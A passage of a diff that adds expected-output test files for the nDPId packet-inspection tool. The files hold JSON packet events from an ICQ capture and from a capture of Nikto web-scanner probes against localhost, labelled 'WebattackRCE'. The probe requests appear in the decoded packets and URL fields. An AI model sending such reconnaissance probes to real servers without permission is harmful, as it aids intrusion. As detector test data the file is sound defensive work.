+00439{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"Oscar.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1434606464,"pkt_ts_usec":176482,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"AAxCW5ILDE3pmjdICABFAABAZ9pAAEAGAAAKHh0Dsu0Y+fd9Abu9oGylAAAAALAC\/\/\/zOQAAAgQFtAEDAwUBAQgKFdAS4wAAAAAEAgAA"} +00414{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"Oscar.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1434606464,"pkt_ts_usec":205135,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":24,"pkt":"DE3pmjdIAAxCW5ILCABFAAAsd\/VAAG8GoM+y7Rj5Ch4dAwG7933\/L+hsvaBspmASQABaVgAAAgQFUAAA"} +00409{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"Oscar.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1434606464,"pkt_ts_usec":205258,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AAxCW5ILDE3pmjdICABFAAAo27ZAAEAGAAAKHh0Dsu0Y+fd9Abu9oGym\/y\/obVAQ\/\/\/zIQAA"} +00836{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"Oscar.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1434606464,"pkt_ts_usec":214174,"pkt_caplen":369,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":369,"pkt_l4_len":335,"pkt":"AAxCW5ILDE3pmjdICABFAAFj5HlAAEAGAAAKHh0Dsu0Y+fd9Abu9oGym\/y\/obVAY\/\/\/0XAAAKgEAAQE1AAAAAQAGAQDAL2FMGcSooK2hg1pwKT53sKDoduPb+pVMVmF3auA4+lts9U9vjoLabxM5VNiUPY2roddLvW\/u4U3Enuyzf2H4CSSbQm8iBkapQTu8c2TzBLX2GBOxENE75GcVDApRTIZrsuhMIo+NtcdludDMRv\/Rk0pGDHpwd746jdCghhvdNc6tSyvMqZzjDMFAhWjDxFLH3NlgzgadRoRqZYGyIGf2CdzkBuhAgpIJ+e3+uFHKG8fX286u1t2I8fyfkICXpXqm39sHPirpBLDKZWQQ9qpfBgteizOZrfbiDcpDvQpPjUlEQ0HssoqjinyJB403pbIFWr6R\/2ab7HMDL+S\/wrdoAAMADEFkaXVtLzEuNS4xMAAXAAIAFAAYAAIANAAZAAIAAAAaAAIMGABKAAED"} +00422{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"Oscar.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1434606464,"pkt_ts_usec":247559,"pkt_caplen":64,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":64,"pkt_l4_len":30,"pkt":"DE3pmjdIAAxCW5ILCABFAAAyd\/lAAG8GoMWy7Rj5Ch4dAwG7933\/L+htvaBsplAYQAAuDQAAKgEZigAEAAAAAQ=="} +00409{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"Oscar.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1434606464,"pkt_ts_usec":247695,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AAxCW5ILDE3pmjdICABFAAAotxNAAEAGAAAKHh0Dsu0Y+fd9Abu9oG3h\/y\/od1AQ\/\/\/zIQAA"} +01166{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"Oscar.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1434606464,"pkt_ts_usec":248077,"pkt_caplen":619,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":619,"pkt_l4_len":585,"pkt":"DE3pmjdIAAxCW5ILCABFAAJdd\/tAAG8Gnpiy7Rj5Ch4dAwG7933\/L+h3vaBt4VAYQAA87AAAKgIZiwAgAAEAAwAAgC59EAABAAIAAwAEAAgACQALABMAFQAiACUqAhmMAgkAAQAVAACALn0RAAMAHmh0dHA6Ly9hcGkuaWNxLm5ldC9saWZlc3RyZWFtLwAEADBodHRwOi8vbGlmZXN0cmVhbS5pY3EuY29tL2xpZmVzdHJlYW0vY2xpZW50L2Z1bGwABQAuaHR0cDovL2xpZmVzdHJlYW0uaWNxLmNvbS9saWZlc3RyZWFtL2NsaWVudC9tZQAHACtodHRwOi8vbGlmZXN0cmVhbS5pY3EuY29tL2xpZmVzdHJlYW0vcGhvdG8vAAgAJ2h0dHA6Ly9saWZlc3RyZWFtLmljcS5jb20vcGhvdG8vdXBsb2FkPwAJABNodHRwOi8vYXBpLmljcS5uZXQvAAoAImh0dHA6Ly9saWZlc3RyZWFtLmljcS5jb20vc2V0dGluZ3MACwAhaHR0cDovL2xpZmVzdHJlYW0uaWNxLmNvbS9zdHJlYW0vAA8AGmh0dHA6Ly9saWZlc3RyZWFtLmljcS5jb20vABAAK2h0dHA6Ly9saWZlc3RyZWFtLmljcS5jb20vcGhvdG8vbGlmZXN0cmVhbS8AEQBqaHR0cDovL2ZpbGVzLm1haWwucnUvY2dpLWJpbi9maWxlcy9mYWpheGNhbGw\/YWpheF9jYWxsPTEmZnVuY19uYW1lPWNiQ2hvb3NlU3RvcmFnZSZkYXRhPSU1QiUyMiVTSVpFJSUyMiU1RA=="} +00410{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"Oscar.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1434606464,"pkt_ts_usec":248173,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AAxCW5ILDE3pmjdICABFAAAot\/tAAEAGAAAKHh0Dsu0Y+fd9Abu9oG3h\/y\/qrFAQ\/\/\/zIQAA"} +00483{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"Oscar.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1434606464,"pkt_ts_usec":248320,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":106,"pkt_l4_len":72,"pkt":"AAxCW5ILDE3pmjdICABFAABcJ8RAAEAGAAAKHh0Dsu0Y+fd9Abu9oG3h\/y\/qrFAY\/\/\/zVQAAKgIAAgAuAAEAFwAAAAAAAQAVAAEAEwAEAAsAAQAJAAEACAABAAQAAQADAAEAAgABAAEAAw=="} +00530{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"Oscar.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1434606464,"pkt_ts_usec":281588,"pkt_caplen":144,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":144,"pkt_l4_len":110,"pkt":"DE3pmjdIAAxCW5ILCABFAACCeAdAAG8GoGey7Rj5Ch4dAwG7933\/L+qsvaBuFVAYQADl+gAAKgIZjQA2AAEAGAAAgC59EwABAAQAAgABAAMAAQAEAAEACAABAAkAAQALAAEAEwAGABUAAgAiAAEAJQABKgIZjgAYAAEAEwAAgC59FAAFAAIAAgAeAAMAAgSw"} +00411{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"Oscar.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1434606464,"pkt_ts_usec":281738,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AAxCW5ILDE3pmjdICABFAAAoSbNAAEAGAAAKHh0Dsu0Y+fd9Abu9oG4V\/y\/rBlAQ\/\/\/zIQAA"} +00435{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"Oscar.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1434606464,"pkt_ts_usec":282026,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"AAxCW5ILDE3pmjdICABFAAA4CRlAAEAGAAAKHh0Dsu0Y+fd9Abu9oG4V\/y\/rBlAY\/\/\/zMQAAKgIAAwAKAAEABgAAAAAAAg=="} +02230{"flow_id":1,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"Oscar.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1434606464,"pkt_ts_usec":315224,"pkt_caplen":1414,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1414,"pkt_l4_len":1380,"pkt":"DE3pmjdIAAxCW5ILCABFAAV4eAxAAG8Gm2yy7Rj5Ch4dAwG7933\/L+sGvaBuJVAQQACxfQAAKgIZjwZzAAEABwAAAAAAAgAFAAEAAABQAAAJxAAAB9AAAAXcAAADIAAAFtsAABdwAAAAAAAAAgAAAFAAAAu4AAAH0AAABdwAAAPoAAAXcAAAF3AAAABAAAADAAAAFAAADBwAAAnEAAAH0AAABdwAAA2sAAARlAAAAEAAAAQAAAAUAAAVfAAAFLQAABBoAAALuAAAF3AAAB9AAAAAQAAABQAAAAoAABV8AAAUtAAAEGgAAAu4AAAXcAAAH0AAAABAAAABAV0AAQABAAEAAgABAAMAAQAEAAEABQABAAYAAQAHAAEACAABAAkAAQAKAAEACwABAAwAAQANAAEADgABAA8AAQAQAAEAEQABABIAAQATAAEAFAABABUAAQAWAAEAFwABABgAAQAZAAEAGgABABsAAQAcAAEAHQABAB8AAQAgAAEAIQABACIAAQAjAAEAJAABACUAAQAmAAEAJwABACgAAgABAAIAAgACAAMAAgAEAAIABgACAAcAAgAIAAIACgACAAwAAgANAAIADgACAA8AAgAQAAIAEQACABIAAgATAAIAFAACABUAAgAWAAIAFwACABgAAgAZAAMAAQADAAIAAwADAAMABgADAAcAAwAIAAMACQADAAoAAwALAAMADAADAA0AAwAOAAMADwADABAAAwARAAMAEgADABMAAwAUAAMAFQADABYABAABAAQAAgAEAAMABAAEAAQABQAEAAcABAAIAAQACQAEAAoABAALAAQADAAEAA0ABAAOAAQADwAEABAABAARAAQAEgAEABMABAAUAAQAFQAEABYABAAXAAQAGAAEABkABAAaAAQAGwAEABwABAAdAAQAHgAEAB8ACAABAAgAAgAJAAEACQACAAkAAwAJAAQACQAJAAkACgAJAAsACwABAAsAAgALAAMACwAEABMAAQATAAIAEwADABMABAATAAUAEwAGABMABwATAAgAEwAJABMACgATAAsAEwAMABMADQATAA4AEwAPABMAEAATABEAEwASABMAEwATABQAEwAVABMAFgATABcAEwAYABMAGQATABsAEwAcABMAHQATAB4AEwAfABMAIAATACEAEwAiABMAIwATACQAEwAlABMAJgATACcAEwAoABMAKQATACoAEwArABMALAATAC0AEwAuABMALwATADAAEwAxABMAMgATADMAEwA0ABMANQATADYAEwA3ABMAOAATADkAEwA6ABMAOwATADwAEwA9ABMAPgATAD8AEwBAABMAQQATAEIAEwBDABMARAATAEUAEwBGABMARwATAEgAEwBJABMASgATAEsAEwBMABMATQATAE4AEwBPABMAUAATAFEAEwBSABMAUwATAFQAEwBVABMAVgATAFcAEwBYABMAWQATAFoAEwBbABMAXAATAF0AEwBeABMAXwATAGAAEwBhABMAYgATAGMAEwBkABMAZQATAGYAEwBnABMAaAATAGkAEwBqABMAawATAGwAEwBtABMAbgATAG8AEwBwABMAcQATAHIAEwBzABMAdAATAHUAEwB2ABMAdwATAHgAEwB5ABMAegATAHsAEwB8ABMAfQATAH4AEwB\/ABMAgAATAIEAEwCCABMAgwATAIQAEwCFABMAhgATAIcAEwCIABMAiQATAIoAEwCLABMAjAATAI0AEwCOABMAjwATAJAAEwCRABMAkgATAJMAEwCUABMAlQATAJYAEwCXABMAmAATAJkAEwCaABMAmwATAJwAEwCdABMAngATAJ8AEwCgABMAoQATAKIAEwCjABMApAATAKUAEwCmABMApwATAA=="} +00808{"flow_id":1,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"Oscar.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1434606464,"pkt_ts_usec":316067,"pkt_caplen":351,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":351,"pkt_l4_len":317,"pkt":"DE3pmjdIAAxCW5ILCABFAAFReA1AAG8Gn5Ky7Rj5Ch4dAwG7933\/L\/BWvaBuJVAYQACc7wAAqAATAKkAEwCqABMAqwATAKwAEwCtABMArgATAK8AEwCwABMAsQATALIAEwCzABMAtAATALUAEwC2ABMAtwATALgAEwC5ABMAugATALsAEwC8ABMAvQATAL4AEwC\/ABMAwAATAMEAEwDCABMAwwATAMQAEwDFABMAxgATAMcAEwDIABMAyQATAMoAEwDLABMAzAATAM0AEwDOABMAzwATANAAEwDRABMA0gATANMAFQABABUAAgAVAAMAIgABACIAAgAiAAMAJQABACUAAgAlAAMAJQAEACUABQAlAAYAJQAHACUACAAlAAkAAgAGAAMABAADAAUACQAFAAkABgAJAAcACQAIAAMABAABAB4AAgAFAAQABgATABoABAACAAIACQACAAsABQAA"} +00411{"flow_id":1,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"Oscar.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1434606464,"pkt_ts_usec":316149,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AAxCW5ILDE3pmjdICABFAAAorgZAAEAGAAAKHh0Dsu0Y+fd9Abu9oG4l\/y\/xf1AQ\/\/\/zIQAA"} diff --git a/test/results/README.txt.out b/test/results/README.txt.out new file mode 100644 index 000000000..e69de29bb --- /dev/null +++ b/test/results/README.txt.out diff --git a/test/results/WebattackRCE.pcap.out b/test/results/WebattackRCE.pcap.out new file mode 100644 index 000000000..0a042aa44 --- /dev/null +++ b/test/results/WebattackRCE.pcap.out @@ -0,0 +1,2391 @@ +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1576420276577,"flow_last_seen":0,"flow_tot_l4_data_len":165,"flow_min_l4_data_len":165,"flow_max_l4_data_len":165,"flow_avg_l4_data_len":165,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49544,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00611{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":577658,"pkt_caplen":199,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":199,"pkt_l4_len":165,"pkt":"AAAAAAAAAAAAAAAACABFAAC5VktAAEAG5fF\/AAABfwAAAcGIH5Al+2Gy82DXQ4AYAED+rQAAAQEICp1m+omdZvqJR0VUIC8gSFRUUC8xLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpQb3J0IENoZWNrKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00749{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1576420276577,"flow_last_seen":0,"flow_tot_l4_data_len":165,"flow_min_l4_data_len":165,"flow_max_l4_data_len":165,"flow_avg_l4_data_len":165,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49544,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:Port Check)"}} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1576420276660,"flow_last_seen":0,"flow_tot_l4_data_len":162,"flow_min_l4_data_len":162,"flow_max_l4_data_len":162,"flow_avg_l4_data_len":162,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49546,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00607{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":660503,"pkt_caplen":196,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":196,"pkt_l4_len":162,"pkt":"AAAAAAAAAAAAAAAACABFAAC27PBAAEAGT09\/AAABfwAAAcGKH5BK6tTkZxKX74AYAED+qgAAAQEICp1m+tydZvrcR0VUIC8gSFRUUC8xLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpnZXRpbmZvKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00746{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1576420276660,"flow_last_seen":0,"flow_tot_l4_data_len":162,"flow_min_l4_data_len":162,"flow_max_l4_data_len":162,"flow_avg_l4_data_len":162,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49546,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:getinfo)"}} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1576420276662,"flow_last_seen":0,"flow_tot_l4_data_len":164,"flow_min_l4_data_len":164,"flow_max_l4_data_len":164,"flow_avg_l4_data_len":164,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49548,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00607{"flow_id":3,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":662186,"pkt_caplen":198,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":198,"pkt_l4_len":164,"pkt":"AAAAAAAAAAAAAAAACABFAAC4K79AAEAGEH9\/AAABfwAAAcGMH5CQBxOx8tDDVoAYAED+rAAAAQEICp1m+t6dZvreR0VUIC8gSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0Om1hcF9jb2RlcykNCg0K"} +00748{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":3,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1576420276662,"flow_last_seen":0,"flow_tot_l4_data_len":164,"flow_min_l4_data_len":164,"flow_max_l4_data_len":164,"flow_avg_l4_data_len":164,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49548,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:map_codes)"}} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1576420276665,"flow_last_seen":0,"flow_tot_l4_data_len":204,"flow_min_l4_data_len":204,"flow_max_l4_data_len":204,"flow_avg_l4_data_len":204,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49550,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00663{"flow_id":4,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":665296,"pkt_caplen":238,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":238,"pkt_l4_len":204,"pkt":"AAAAAAAAAAAAAAAACABFAADgK7lAAEAGEF1\/AAABfwAAAcGOH5AW+BO6KmQtsoAYAED+1AAAAQEICp1m+uGdZvrhR0VUIC8waFhDNlpVRS5yZGYrZGVzdHlwZT1jYWNoZStkZXNmb3JtYXQ9UERGIEhUVFAvMS4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6bWFwX2NvZGVzKQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00788{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":4,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1576420276665,"flow_last_seen":0,"flow_tot_l4_data_len":204,"flow_min_l4_data_len":204,"flow_max_l4_data_len":204,"flow_avg_l4_data_len":204,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49550,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/0hXC6ZUE.rdf+destype=cache+desformat=PDF","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:map_codes)"}} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1576420276666,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49552,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00621{"flow_id":5,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":666519,"pkt_caplen":207,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":207,"pkt_l4_len":173,"pkt":"AAAAAAAAAAAAAAAACABFAADBh\/hAAEAGtDx\/AAABfwAAAcGQH5AhqL\/5vbvzaYAYAED+tQAAAQEICp1m+uKdZvriR0VUIC8uMGhYQzZaVUUgSFRUUC8xLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDptYXBfY29kZXMpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00757{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":5,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1576420276666,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49552,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/.0hXC6ZUE","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:map_codes)"}} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1576420276667,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49554,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00619{"flow_id":6,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":667632,"pkt_caplen":206,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":206,"pkt_l4_len":172,"pkt":"AAAAAAAAAAAAAAAACABFAADA3LVAAEAGX4B\/AAABfwAAAcGSH5CmzuS+LKoqroAYAED+tAAAAQEICp1m+uOdZvrjR0VUIC8waFhDNlpVRSBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6bWFwX2NvZGVzKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KDQo="} +00756{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":6,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1576420276667,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49554,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/0hXC6ZUE","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:map_codes)"}} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1576420276668,"flow_last_seen":0,"flow_tot_l4_data_len":179,"flow_min_l4_data_len":179,"flow_max_l4_data_len":179,"flow_avg_l4_data_len":179,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49556,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} 